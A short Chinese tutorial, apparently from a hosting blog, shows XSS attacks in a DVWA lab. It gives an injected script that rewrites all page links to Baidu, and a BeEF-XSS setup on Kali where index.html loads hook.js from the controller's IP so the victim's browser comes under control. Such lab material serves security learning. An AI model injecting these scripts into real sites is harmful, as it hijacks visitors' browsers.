这篇文章给大家介绍XSS漏洞的恶意链接是怎样的，内容非常详细，感兴趣的小伙伴们可以参考借鉴，希望对大家能有所帮助。
一、环境：DVWA
二、修改网页链接
1、点击下面的网址，访问的是不同的内容
2、通过xss漏洞，修改这些网址都指向百度
window.onload：当窗口加载时，执行匿名函数
<script>
window.onload=function(){
var link=document.getElementsByTagName("a");
for(j=0;j<link.length;j++){
link[j].href="https://www.baidu.com";
}
}
</script>
3、在漏洞处输入上面代码，提交
三、生成恶意链接（kali攻击，win7被攻击）
1、kali启动beff-xss
2、启动apache服务：service apache2 start
3、cd /var/www/html
修改index.html
<script src="
http://控制端ip:3000/hook.js"></script>
5、被控端上线。
关于XSS漏洞的恶意链接是怎样的就分享到这里了，希望以上内容可以对大家有一定的帮助，可以学到更多知识。如果觉得文章不错，可以把它分享出去让更多的人看到。
免责声明：本站发布的内容（图片、视频和文字）以原创、转载和分享为主，文章观点不代表本网站立场，如果涉及侵权请联系站长邮箱：is@yisu.com进行举报，并提供相关证据，一经查实，将立刻删除涉嫌侵权内容。
